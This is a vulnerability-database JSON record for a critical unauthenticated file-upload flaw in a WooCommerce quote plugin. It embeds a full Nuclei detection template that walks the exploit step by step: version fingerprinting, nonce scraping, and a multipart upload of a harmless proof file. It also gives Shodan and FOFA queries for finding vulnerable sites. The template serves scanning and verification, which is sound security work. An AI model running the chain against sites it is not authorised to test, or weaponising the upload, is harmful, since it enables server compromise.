{ "_links": { "capec": { "href": "/api/v1/vulnerability/cve-2026-18143/capec" }, "cvss": { "href": "/api/v1/vulnerability/cve-2026-18143/cvss" }, "cwe": { "href": "/api/v1/vulnerability/cve-2026-18143/cwe" }, "enrichment": { "href": "/api/v1/vulnerability/cve-2026-18143/enrichment" }, "gcve": { "href": "/api/v1/vulnerability/cve-2026-18143/gcve" }, "self": { "href": "/api/v1/vulnerability/cve-2026-18143" }, "sightings": { "href": "/api/v1/sightings/cve-2026-18143" } }, "data": { "nuclei": true, "nuclei_template": "http/cves/2026/CVE-2026-18143.yaml", "nuclei_template_severity": "critical", "nuclei_template_yaml": "id: CVE-2026-18143\n\ninfo:\n name: Request Quote for WooCommerce <= 2.9.2 - Unauthenticated Arbitrary File Upload\n author: 0x_Akoko,pdteam\n severity: critical\n description: |\n Request a Quote for WooCommerce plugin for WordPress <= 2.9.2 contains an unrestricted file upload vulnerability caused by missing file extension and MIME type validation in afrfq_submit_quote_via_popup(), letting unauthenticated attackers upload executable files, exploit requires enabled public quote rule with multi-page popup flow.\n impact: |\n Unauthenticated attackers can upload and execute arbitrary files, potentially leading to remote code execution and full server compromise.\n remediation: |\n Update to the latest version of Request a Quote for WooCommerce plugin.\n reference:\n - https://patchstack.com/database/wordpress/plugin/woocommerce-request-a-quote/vulnerability/wordpress-request-a-quote-for-woocommerce-plugin-2-9-2-unauthenticated-arbitrary-file-upload-vulnerability\n - https://www.wordfence.com/threat-intel/vulnerabilities/id/3417ec27-6abf-45c7-945f-6ef456ba1187?source=cve\n - https://github.com/murrez/CVE-2026-18143\n - https://nvd.nist.gov/vuln/detail/CVE-2026-18143\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2026-18143\n epss-score: 0.0214\n epss-percentile: 0.82089\n cwe-id: CWE-434\n metadata:\n verified: true\n max-request: 8\n vendor: addify\n product: woocommerce-request-a-quote\n fofa-query: body=\"/wp-content/plugins/woocommerce-request-a-quote/\"\n shodan-query: http.html:\"woocommerce-request-a-quote\"\n tags: cve,cve2026,wordpress,wp,wp-plugin,woocommerce,addify,afrfq,file-upload,rce,unauth,intrusive,vkev\n\nvariables:\n rand: \"{{randstr}}\"\n filename: \"proof_{{rand}}.txt\"\n bound: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: |\n if (!http(1)) { stop(); }\n http(2);\n if (!template[\"product_slug\"]) { http(3); }\n if (!template[\"product_slug\"]) { http(4); }\n if (!template[\"product_slug\"]) { stop(); }\n http(5);\n if (!template[\"nonce1\"]) { stop(); }\n http(6);\n http(7);\n if (!template[\"nonce2\"]) { set(\"nonce2\", template[\"nonce1\"]); }\n if (!template[\"qty_key\"]) { set(\"qty_key\", \"0\"); }\n if (!template[\"rfq_field1\"]) { set(\"rfq_field1\", \"afrfq_noop_a\"); }\n if (!template[\"rfq_field2\"]) { set(\"rfq_field2\", \"afrfq_noop_b\"); }\n if (!template[\"rfq_field3\"]) { set(\"rfq_field3\", \"afrfq_noop_c\"); }\n http(8);\n\nhttp:\n - raw:\n - |\n GET /wp-content/plugins/woocommerce-request-a-quote/readme.txt HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(body, \"Request a Quote\")'\n - 'compare_versions(plugin_version, \"<= 2.9.2\")'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n name: plugin_version\n group: 1\n regex:\n - '(?i)Stable tag:\\s*([0-9.]+)'\n internal: true\n\n - raw:\n - |\n GET /wp-json/wc/store/products?per_page=3&orderby=popularity HTTP/1.1\n Host: {{Hostname}}\n\n extractors:\n - type: regex\n name: product_slug\n group: 1\n regex:\n - '^[\\s\\S]*?[\\\\/]product[\\\\/]+([a-zA-Z0-9_-]+)'\n internal: true\n\n - raw:\n - |\n GET /wp-sitemap-posts-product-1.xml HTTP/1.1\n Host: {{Hostname}}\n\n extractors:\n - type: regex\n name: product_slug\n group: 1\n regex:\n - '^[\\s\\S]*?/product/([a-zA-Z0-9_-]+)'\n internal: true\n\n - raw:\n - |\n GET /shop/ HTTP/1.1\n Host: {{Hostname}}\n\n extractors:\n - type: regex\n name: product_slug\n group: 1\n regex:\n - '^[\\s\\S]*?/product/([a-zA-Z0-9_-]+)'\n internal: true\n\n - raw:\n - |\n GET /product/{{product_slug}}/ HTTP/1.1\n Host: {{Hostname}}\n\n extractors:\n - type: regex\n name: nonce1\n group: 1\n regex:\n - 'afrfq_phpvars[\\s\\S]{0,400}\"nonce\"\\s*:\\s*\"([a-f0-9]{6,12})\"'\n internal: true\n\n - type: regex\n name: product_id\n group: 1\n regex:\n - 'postid-(\\d+)'\n - '\"product_id\"\\s*:\\s*\"?(\\d+)\"?'\n internal: true\n\n - type: regex\n name: rule_id\n group: 1\n regex:\n - 'data-rule_id=\"(\\d+)\"'\n internal: true\n\n - raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n X-Requested-With: XMLHttpRequest\n\n action=add_to_quote&nonce={{nonce1}}&product_id={{product_id}}&rule_id={{rule_id}}&quantity=1\n\n - raw:\n - |\n GET /product/{{product_slug}}/?ra={{rand}} HTTP/1.1\n Host: {{Hostname}}\n\n extractors:\n - type: regex\n name: nonce2\n group: 1\n regex:\n - 'name=\"afrfq_nonce\"\\s+value=\"([^\"]+)\"'\n - 'id=\"afrfq_nonce\"[^>]+value=\"([^\"]+)\"'\n internal: true\n\n - type: regex\n name: qty_key\n group: 1\n regex:\n - 'name=\"quote_qty\\[([^\\]]+)\\]\"'\n internal: true\n\n - type: regex\n name: rfq_field1\n group: 1\n regex:\n - '^[\\s\\S]*?name=\"(afrfq_field_\\d+)\"'\n internal: true\n\n - type: regex\n name: rfq_field2\n group: 1\n regex:\n - '^[\\s\\S]*?name=\"afrfq_field_\\d+\"[\\s\\S]*?name=\"(afrfq_field_\\d+)\"'\n internal: true\n\n - type: regex\n name: rfq_field3\n group: 1\n regex:\n - '^[\\s\\S]*?name=\"afrfq_field_\\d+\"[\\s\\S]*?name=\"afrfq_field_\\d+\"[\\s\\S]*?name=\"(afrfq_field_\\d+)\"'\n internal: true\n\n - raw:\n - |\n POST /wp-admin/admin-ajax.php HTTP/1.1\n Host: {{Hostname}}\n Content-Type: multipart/form-data; boundary={{bound}}\n Accept: application/json, text/javascript, */*; q=0.01\n X-Requested-With: XMLHttpRequest\n\n --{{bound}}\n Content-Disposition: form-data; name=\"action\"\n\n afrfq_submit_quote_via_popup\n --{{bound}}\n Content-Disposition: form-data; name=\"afrfq_nonce\"\n\n {{nonce2}}\n --{{bound}}\n Content-Disposition: form-data; name=\"popup_template\"\n\n template_two\n --{{bound}}\n Content-Disposition: form-data; name=\"current_page\"\n\n 2\n --{{bound}}\n Content-Disposition: form-data; name=\"quote_qty[{{qty_key}}]\"\n\n 1\n --{{bound}}\n Content-Disposition: form-data; name=\"{{rfq_field1}}\"\n\n poc\n --{{bound}}\n Content-Disposition: form-data; name=\"{{rfq_field2}}\"\n\n poc\n --{{bound}}\n Content-Disposition: form-data; name=\"{{rfq_field3}}\"\n\n poc@example.com\n --{{bound}}\n Content-Disposition: form-data; name=\"qfile\"; filename=\"{{filename}}\"\n Content-Type: text/plain\n\n {{rand}}\n --{{bound}}--\n\n matchers:\n - type: dsl\n dsl:\n - 'status_code == 200'\n - 'contains(content_type, \"json\")'\n - 'contains(body, \"\\\"status\\\":\\\"pass\\\"\")'\n condition: and\n# digest: 490a0046304402205944aacdf323be42badebdd58b311bcd7d9fb1cfcff0912148641901bced47dc02203ec6eeb1a8734e1f7d6bb93c181bbe4c5e55c1942cfdd31ec28281f471536e21:922c64590222798bb761d5b6d8e72950" }, "source": "nuclei", "vuln_id": "cve-2026-18143" }